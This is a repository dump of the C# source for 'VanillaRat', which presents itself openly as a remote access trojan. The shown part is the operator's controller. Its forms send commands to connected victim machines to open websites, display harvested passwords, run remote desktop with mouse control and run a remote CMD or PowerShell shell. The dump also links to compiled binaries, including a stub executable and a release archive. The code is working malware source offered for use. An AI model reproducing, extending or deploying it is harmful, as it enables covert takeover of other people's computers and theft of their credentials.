VanillaRat.Forms 7 | { 8 | public partial class OpenWebsite : Form 9 | { 10 | public OpenWebsite() 11 | { 12 | InitializeComponent(); 13 | MinimizeBox = false; 14 | MaximizeBox = false; 15 | Update = true; 16 | } 17 | 18 | public int ConnectionID { get; set; } 19 | public bool Update { get; set; } 20 | 21 | //Open website 22 | private void btnOpen_Click(object sender, EventArgs e) 23 | { 24 | Server.MainServer.Send(ConnectionID, Encoding.ASCII.GetBytes("OpenWebsite<{" + txtLink.Text + "}>")); 25 | Close(); 26 | } 27 | 28 | //On form close 29 | private void OpenWebsite_FormClosing(object sender, FormClosingEventArgs e) 30 | { 31 | Update = false; 32 | } 33 | } 34 | } -------------------------------------------------------------------------------- /VanillaRat/Forms/PasswordViewer.Designer.cs: -------------------------------------------------------------------------------- 1 | namespace VanillaRat.Forms 2 | { 3 | partial class PasswordViewer 4 | { 5 | /// 6 | /// Required designer variable. 7 | /// 8 | private System.ComponentModel.IContainer components = null; 9 | 10 | /// 11 | /// Clean up any resources being used. 12 | /// 13 | /// true if managed resources should be disposed; otherwise, false. 14 | protected override void Dispose(bool disposing) 15 | { 16 | if (disposing && (components != null)) 17 | { 18 | components.Dispose(); 19 | } 20 | base.Dispose(disposing); 21 | } 22 | 23 | #region Windows Form Designer generated code 24 | 25 | /// 26 | /// Required method for Designer support - do not modify 27 | /// the contents of this method with the code editor. 28 | /// 29 | private void InitializeComponent() 30 | { 31 | this.lbPasswords = new System.Windows.Forms.ListBox(); 32 | this.SuspendLayout(); 33 | // 34 | // lbPasswords 35 | // 36 | this.lbPasswords.BorderStyle = System.Windows.Forms.BorderStyle.None; 37 | this.lbPasswords.Dock = System.Windows.Forms.DockStyle.Fill; 38 | this.lbPasswords.FormattingEnabled = true; 39 | this.lbPasswords.Location = new System.Drawing.Point(0, 0); 40 | this.lbPasswords.Name = "lbPasswords"; 41 | this.lbPasswords.Size = new System.Drawing.Size(481, 264); 42 | this.lbPasswords.TabIndex = 0; 43 | // 44 | // PasswordViewer 45 | // 46 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); 47 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; 48 | this.ClientSize = new System.Drawing.Size(481, 264); 49 | this.Controls.Add(this.lbPasswords); 50 | this.Name = "PasswordViewer"; 51 | this.Text = "Password Viewer"; 52 | this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.PasswordViewer_FormClosing); 53 | this.ResumeLayout(false); 54 | 55 | } 56 | 57 | #endregion 58 | 59 | public System.Windows.Forms.ListBox lbPasswords; 60 | } 61 | } -------------------------------------------------------------------------------- /VanillaRat/Forms/PasswordViewer.cs: -------------------------------------------------------------------------------- 1 | using System.Windows.Forms; 2 | 3 | namespace VanillaRat.Forms 4 | { 5 | public partial class PasswordViewer : Form 6 | { 7 | public PasswordViewer() 8 | { 9 | InitializeComponent(); 10 | Update = true; 11 | } 12 | 13 | public int ConnectionID { get; set; } 14 | public bool Update { get; set; } 15 | 16 | //On password viewer close 17 | private void PasswordViewer_FormClosing(object sender, FormClosingEventArgs e) 18 | { 19 | Update = false; 20 | } 21 | } 22 | } -------------------------------------------------------------------------------- /VanillaRat/Forms/RDC.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Drawing; 3 | using System.Security.Cryptography; 4 | using System.Windows.Input; 5 | using System.Text; 6 | using System.Windows.Forms; 7 | using VanillaRat.Classes; 8 | using Color = System.Drawing.Color; 9 | 10 | namespace VanillaRat.Forms 11 | { 12 | public partial class RDC : Form 13 | { 14 | public RDC() 15 | { 16 | InitializeComponent(); 17 | Update = true; 18 | DoubleBuffered = true; 19 | } 20 | 21 | public int ConnectionID { get; set; } 22 | private bool Update { get; set; } 23 | private bool Mouse { get; set; } 24 | 25 | //Stop remote desktop 26 | private void StopRD() 27 | { 28 | Server.MainServer.Send(ConnectionID, Encoding.ASCII.GetBytes("StopRD")); 29 | } 30 | 31 | //Close form 32 | private void RDC_FormClosing(object sender, FormClosingEventArgs e) 33 | { 34 | Update = false; 35 | StopRD(); 36 | } 37 | 38 | //On remote desktop load 39 | private void RDC_Load(object sender, EventArgs e) { } 40 | 41 | //Toggle mouse 42 | private void btnMouse_Click(object sender, EventArgs e) 43 | { 44 | Mouse = !Mouse; 45 | } 46 | 47 | //Capture double mouse click and send if mouse enabled 48 | private void pbDesktop_MouseDoubleClick(object sender, MouseEventArgs e) 49 | { 50 | if (Mouse) 51 | { 52 | Server.MainServer.Send(ConnectionID, Encoding.ASCII.GetBytes(@"[]DOUBLE[<\MOUSE>][]" + e.X + @"[<\X>][]" + e.Y + @"[<\Y>]")); 53 | } 54 | } 55 | 56 | //Capture mouse click and send if mouse enabled 57 | private void pbDesktop_MouseClick(object sender, MouseEventArgs e) 58 | { 59 | if (!Mouse) return; 60 | switch (e.Button) { 61 | case MouseButtons.Left: 62 | Server.MainServer.Send(ConnectionID, 63 | Encoding.ASCII.GetBytes(@"[]SINGLE-LEFT[<\MOUSE>][]" + e.X + @"[<\X>][]" + e.Y + 64 | @"[<\Y>]")); 65 | break; 66 | case MouseButtons.Right: 67 | Server.MainServer.Send(ConnectionID, 68 | Encoding.ASCII.GetBytes(@"[]SINGLE-RIGHT[<\MOUSE>][]" + e.X + @"[<\X>][]" + e.Y + 69 | @"[<\Y>]")); 70 | break; 71 | } 72 | } 73 | 74 | 75 | #region Buttons 76 | 77 | //Gives response to button click (because its a picturebox) 78 | private void btnMouse_MouseDown(object sender, MouseEventArgs e) 79 | { 80 | btnMouse.BackColor = Color.FromArgb(45, 52, 54); 81 | } 82 | 83 | //Gives response to button click (because its a picturebox) 84 | private void btnMouse_MouseUp(object sender, MouseEventArgs e) 85 | { 86 | btnMouse.BackColor = Color.Transparent; 87 | } 88 | 89 | #endregion 90 | 91 | } 92 | } -------------------------------------------------------------------------------- /VanillaRat/Forms/RemoteShell.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Text; 3 | using System.Windows.Forms; 4 | using VanillaRat.Classes; 5 | 6 | namespace VanillaRat.Forms 7 | { 8 | public partial class RemoteShell : Form 9 | { 10 | private bool Powershell; 11 | private bool Restart; 12 | 13 | public RemoteShell() 14 | { 15 | InitializeComponent(); 16 | MaximizeBox = false; 17 | MinimizeBox = false; 18 | Update = true; 19 | } 20 | 21 | public int ConnectionID { get; set; } 22 | public bool Update { get; set; } 23 | 24 | //On form close 25 | private void RemoteShell_FormClosing(object sender, FormClosingEventArgs e) 26 | { 27 | Update = false; 28 | Server.MainServer.Send(ConnectionID, Encoding.ASCII.GetBytes("StopRS")); 29 | } 30 | 31 | //Send command by button 32 | private void btnSendCommand_Click(object sender, EventArgs e) 33 | { 34 | Server.MainServer.Send(ConnectionID, Encoding.ASCII.GetBytes("[]" + txtCommand.Text)); 35 | } 36 | 37 | //Send command by enter key 38 | private void txtCommand_KeyDown(object sender, KeyEventArgs e) 39 | { 40 | if (e.KeyCode == Keys.Enter) 41 | Server.MainServer.Send(ConnectionID, Encoding.ASCII.GetBytes("[]" + txtCommand.Text)); 42 | } 43 | 44 | //Toggle between Powershell and CMD 45 | private async void btnToggleMode_Click(object sender, EventArgs e) 46 | { 47 | if (!Powershell) 48 | { 49 | Server.MainServer.Send(ConnectionID, Encoding.ASCII.GetBytes("[]powershell")); 50 | Powershell = true; 51 | btnToggleMode.Text = "Switch to CMD"; 52 | } 53 | else 54 | { 55 | Server.MainServer.Send(ConnectionID, Encoding.ASCII.GetBytes("[]cmd")); 56 | Powershell = false; 57 | btnToggleMode.Text = "Switch to Powershell"; 58 | } 59 | } 60 | 61 | //In case of issues, restart shell 62 | private void btnRestartShell_Click(object sender, EventArgs e) 63 | { 64 | Restart = true; 65 | Close(); 66 | } 67 | 68 | //On close, check for restart 69 | private void RemoteShell_FormClosed(object sender, FormClosedEventArgs e) 70 | { 71 | if (Restart) 72 | { 73 | Server.MainServer.Send(ConnectionID, Encoding.ASCII.GetBytes("StartRS")); 74 | Restart = false; 75 | } 76 | } 77 | } 78 | } -------------------------------------------------------------------------------- /VanillaRat/Forms/Resources/Administrative Tools_48px.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Administrative Tools_48px.png -------------------------------------------------------------------------------- /VanillaRat/Forms/Resources/Chat_48px.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Chat_48px.png -------------------------------------------------------------------------------- /VanillaRat/Forms/Resources/Click_Soft_00.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Click_Soft_00.wav -------------------------------------------------------------------------------- /VanillaRat/Forms/Resources/Close Window_48px.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Close Window_48px.png -------------------------------------------------------------------------------- /VanillaRat/Forms/Resources/Communication_48px.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Communication_48px.png -------------------------------------------------------------------------------- /VanillaRat/Forms/Resources/Compose_48px.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Compose_48px.png -------------------------------------------------------------------------------- /VanillaRat/Forms/Resources/Console_48px.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Console_48px.png -------------------------------------------------------------------------------- /VanillaRat/Forms/Resources/Disconnected_48px.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Disconnected_48px.png -------------------------------------------------------------------------------- /VanillaRat/Forms/Resources/Document_48px.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Document_48px.png -------------------------------------------------------------------------------- /VanillaRat/Forms/Resources/Double Up_48px.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Double Up_48px.png -------------------------------------------------------------------------------- /VanillaRat/Forms/Resources/Download_48px.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Download_48px.png -------------------------------------------------------------------------------- /VanillaRat/Forms/Resources/Eye_48px.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Eye_48px.png -------------------------------------------------------------------------------- /VanillaRat/Forms/Resources/Flash On_48px.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Flash On_48px.png -------------------------------------------------------------------------------- /VanillaRat/Forms/Resources/Headphones_48px.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Headphones_48px.png -------------------------------------------------------------------------------- /VanillaRat/Forms/Resources/Info_48px.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Info_48px.png -------------------------------------------------------------------------------- /VanillaRat/Forms/Resources/Keyboard_48px.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Keyboard_48px.png -------------------------------------------------------------------------------- /VanillaRat/Forms/Resources/Laptop_48px.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Laptop_48px.png -------------------------------------------------------------------------------- /VanillaRat/Forms/Resources/Lock Landscape_48px.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Lock Landscape_48px.png -------------------------------------------------------------------------------- /VanillaRat/Forms/Resources/Monitor_48px.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Monitor_48px.png -------------------------------------------------------------------------------- /VanillaRat/Forms/Resources/Mouse_48px.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Mouse_48px.png -------------------------------------------------------------------------------- /VanillaRat/Forms/Resources/Opened Folder_48px.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Opened Folder_48px.png -------------------------------------------------------------------------------- /VanillaRat/Forms/Resources/Paper Plane_48px.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Paper Plane_48px.png -------------------------------------------------------------------------------- /VanillaRat/Forms/Resources/Person_48px.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Person_48px.png -------------------------------------------------------------------------------- /VanillaRat/Forms/Resources/Play_48px.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Play_48px.png -------------------------------------------------------------------------------- /VanillaRat/Forms/Resources/Resize_48px.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Resize_48px.png -------------------------------------------------------------------------------- /VanillaRat/Forms/Resources/Restart_48px.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Restart_48px.png -------------------------------------------------------------------------------- /VanillaRat/Forms/Resources/Server_48px.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Server_48px.png -------------------------------------------------------------------------------- /VanillaRat/Forms/Resources/Services_48px.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Services_48px.png -------------------------------------------------------------------------------- /VanillaRat/Forms/Resources/Source Code_48px.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Source Code_48px.png -------------------------------------------------------------------------------- /VanillaRat/Forms/Resources/Upload_48px.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Upload_48px.png -------------------------------------------------------------------------------- /VanillaRat/Forms/Resources/Website_48px.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Website_48px.png -------------------------------------------------------------------------------- /VanillaRat/Forms/Resources/Windows Client_48px.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/Forms/Resources/Windows Client_48px.png -------------------------------------------------------------------------------- /VanillaRat/Forms/SettingsForm.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Windows.Forms; 3 | using VanillaRat.Properties; 4 | 5 | namespace VanillaRat.Forms 6 | { 7 | public partial class SettingsForm : Form 8 | { 9 | public SettingsForm() 10 | { 11 | InitializeComponent(); 12 | } 13 | 14 | //Save settings 15 | private void btnSave_Click(object sender, EventArgs e) 16 | { 17 | try 18 | { 19 | Convert.ToInt16(txtPort.Text); 20 | Convert.ToInt16(txtPort.Text); 21 | } 22 | catch 23 | { 24 | MessageBox.Show("Error: One or more text field is not a valid number.", "Error", MessageBoxButtons.OK, 25 | MessageBoxIcon.Error); 26 | } 27 | 28 | Settings.Default.Port = Convert.ToInt16(txtPort.Text); 29 | Settings.Default.UpdateInterval = Convert.ToInt16(txtUpdateInterval.Text); 30 | Settings.Default.Notfiy = cbNotify.Checked; 31 | Settings.Default.Save(); 32 | Close(); 33 | } 34 | 35 | //Load in settings 36 | private void SettingsForm_Load(object sender, EventArgs e) 37 | { 38 | Classes.Settings.Values Settings; 39 | txtPort.Text = Settings.GetPort().ToString(); 40 | txtUpdateInterval.Text = Settings.GetUpdateInterval().ToString(); 41 | cbNotify.Checked = Settings.GetNotifyValue(); 42 | } 43 | } 44 | } -------------------------------------------------------------------------------- /VanillaRat/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Windows.Forms; 3 | 4 | namespace VanillaRat 5 | { 6 | internal static class Program 7 | { 8 | /// 9 | /// The main entry point for the application. 10 | /// 11 | [STAThread] 12 | private static void Main() 13 | { 14 | Application.EnableVisualStyles(); 15 | Application.SetCompatibleTextRenderingDefault(false); 16 | Application.Run(new Main()); 17 | } 18 | } 19 | } -------------------------------------------------------------------------------- /VanillaRat/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.InteropServices; 3 | 4 | // General Information about an assembly is controlled through the following 5 | // set of attributes. Change these attribute values to modify the information 6 | // associated with an assembly. 7 | [assembly: AssemblyTitle("VanillaRat")] 8 | [assembly: AssemblyDescription("")] 9 | [assembly: AssemblyConfiguration("")] 10 | [assembly: AssemblyCompany("")] 11 | [assembly: AssemblyProduct("VanillaRat")] 12 | [assembly: AssemblyCopyright("Copyright © 2019")] 13 | [assembly: AssemblyTrademark("")] 14 | [assembly: AssemblyCulture("")] 15 | 16 | // Setting ComVisible to false makes the types in this assembly not visible 17 | // to COM components. If you need to access a type in this assembly from 18 | // COM, set the ComVisible attribute to true on that type. 19 | [assembly: ComVisible(false)] 20 | 21 | // The following GUID is for the ID of the typelib if this project is exposed to COM 22 | [assembly: Guid("d0f2ee67-0a50-423d-bfe6-845da892a2db")] 23 | 24 | // Version information for an assembly consists of the following four values: 25 | // 26 | // Major Version 27 | // Minor Version 28 | // Build Number 29 | // Revision 30 | // 31 | // You can specify all the values or you can default the Build and Revision Numbers 32 | // by using the '*' as shown below: 33 | // [assembly: AssemblyVersion("1.0.*")] 34 | [assembly: AssemblyVersion("1.4.0.0")] 35 | [assembly: AssemblyFileVersion("1.0.0.0")] -------------------------------------------------------------------------------- /VanillaRat/Properties/Settings.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:4.0.30319.42000 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace VanillaRat.Properties { 12 | 13 | 14 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 15 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "15.9.0.0")] 16 | public sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { 17 | 18 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); 19 | 20 | public static Settings Default { 21 | get { 22 | return defaultInstance; 23 | } 24 | } 25 | 26 | [global::System.Configuration.UserScopedSettingAttribute()] 27 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 28 | [global::System.Configuration.DefaultSettingValueAttribute("1604")] 29 | public int Port { 30 | get { 31 | return ((int)(this["Port"])); 32 | } 33 | set { 34 | this["Port"] = value; 35 | } 36 | } 37 | 38 | [global::System.Configuration.UserScopedSettingAttribute()] 39 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 40 | [global::System.Configuration.DefaultSettingValueAttribute("50")] 41 | public int UpdateInterval { 42 | get { 43 | return ((int)(this["UpdateInterval"])); 44 | } 45 | set { 46 | this["UpdateInterval"] = value; 47 | } 48 | } 49 | 50 | [global::System.Configuration.UserScopedSettingAttribute()] 51 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 52 | [global::System.Configuration.DefaultSettingValueAttribute("False")] 53 | public bool Notfiy { 54 | get { 55 | return ((bool)(this["Notfiy"])); 56 | } 57 | set { 58 | this["Notfiy"] = value; 59 | } 60 | } 61 | } 62 | } 63 | -------------------------------------------------------------------------------- /VanillaRat/Properties/Settings.settings: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 1604 7 | 8 | 9 | 50 10 | 11 | 12 | False 13 | 14 | 15 | -------------------------------------------------------------------------------- /VanillaRat/Settings.cs: -------------------------------------------------------------------------------- 1 | using System.ComponentModel; 2 | using System.Configuration; 3 | 4 | namespace VanillaRat.Properties 5 | { 6 | // This class allows you to handle specific events on the settings class: 7 | // The SettingChanging event is raised before a setting's value is changed. 8 | // The PropertyChanged event is raised after a setting's value is changed. 9 | // The SettingsLoaded event is raised after the setting values are loaded. 10 | // The SettingsSaving event is raised before the setting values are saved. 11 | public sealed partial class Settings 12 | { 13 | private void SettingChangingEventHandler(object sender, SettingChangingEventArgs e) 14 | { 15 | // Add code to handle the SettingChangingEvent event here. 16 | } 17 | 18 | private void SettingsSavingEventHandler(object sender, CancelEventArgs e) 19 | { 20 | // Add code to handle the SettingsSaving event here. 21 | } 22 | } 23 | } -------------------------------------------------------------------------------- /VanillaRat/StreamLibrary.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/StreamLibrary.dll -------------------------------------------------------------------------------- /VanillaRat/VanillaRat.csproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | publish\ 5 | 6 | 7 | 8 | 9 | 10 | en-US 11 | false 12 | 13 | -------------------------------------------------------------------------------- /VanillaRat/bin/Debug/BlockedConnections.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/bin/Debug/BlockedConnections.txt -------------------------------------------------------------------------------- /VanillaRat/bin/Debug/VanillaRat.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/bin/Debug/VanillaRat.exe -------------------------------------------------------------------------------- /VanillaRat/bin/Debug/VanillaRat.exe.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 7 |
10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 1604 19 | 20 | 21 | 50 22 | 23 | 24 | False 25 | 26 | 27 | 28 | -------------------------------------------------------------------------------- /VanillaRat/bin/Debug/VanillaRat.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/bin/Debug/VanillaRat.pdb -------------------------------------------------------------------------------- /VanillaRat/bin/Debug/VanillaStub.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/bin/Debug/VanillaStub.exe -------------------------------------------------------------------------------- /VanillaRat/bin/Release.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/bin/Release.zip -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/0142130198ACCF6E1C479D175B260285A868B6C9.costura.telepathy.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/0142130198ACCF6E1C479D175B260285A868B6C9.costura.telepathy.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/0564FF7F7E6084BD6D02D8E6A4127D1C878B3FA6.costura.system.globalization.calendars.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/0564FF7F7E6084BD6D02D8E6A4127D1C878B3FA6.costura.system.globalization.calendars.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/05E65EE95F647F38C717C73A0399870912DD374A.costura.system.threading.tasks.parallel.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/05E65EE95F647F38C717C73A0399870912DD374A.costura.system.threading.tasks.parallel.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/09D02B85A094E925AC3C5D8B1ACA096B730C160F.costura.system.xml.xmldocument.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/09D02B85A094E925AC3C5D8B1ACA096B730C160F.costura.system.xml.xmldocument.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/0B7A9EC0DFF6D958C9C64B5F592993372D31C5E9.costura.system.valuetuple.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/0B7A9EC0DFF6D958C9C64B5F592993372D31C5E9.costura.system.valuetuple.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/12419C25D1C2EB706A4E4E649EE353CEDA7446A9.costura.system.diagnostics.fileversioninfo.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/12419C25D1C2EB706A4E4E649EE353CEDA7446A9.costura.system.diagnostics.fileversioninfo.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/1420EF91F6E0F6954F373F1AC4079064398AB455.costura.system.net.sockets.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/1420EF91F6E0F6954F373F1AC4079064398AB455.costura.system.net.sockets.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/15349E541122743A5D355946E48380AC1811B52F.costura.system.runtime.interopservices.runtimeinformation.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/15349E541122743A5D355946E48380AC1811B52F.costura.system.runtime.interopservices.runtimeinformation.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/16EB49AFCA84C9E6160B4E5B36F1EC5C98470C86.costura.system.io.filesystem.driveinfo.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/16EB49AFCA84C9E6160B4E5B36F1EC5C98470C86.costura.system.io.filesystem.driveinfo.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/1BA9ECC598E170D779CEB290163AC88E6993935F.costura.system.net.ping.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/1BA9ECC598E170D779CEB290163AC88E6993935F.costura.system.net.ping.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/1C2CEFAFBA48BA7AAAB746F660DEBD34F2F4B14C.costura.system.net.http.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/1C2CEFAFBA48BA7AAAB746F660DEBD34F2F4B14C.costura.system.net.http.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/20AEAED12DFB8D71E39687350EB12BC0DE372AF0.costura.system.componentmodel.primitives.dll.compressed: -------------------------------------------------------------------------------- 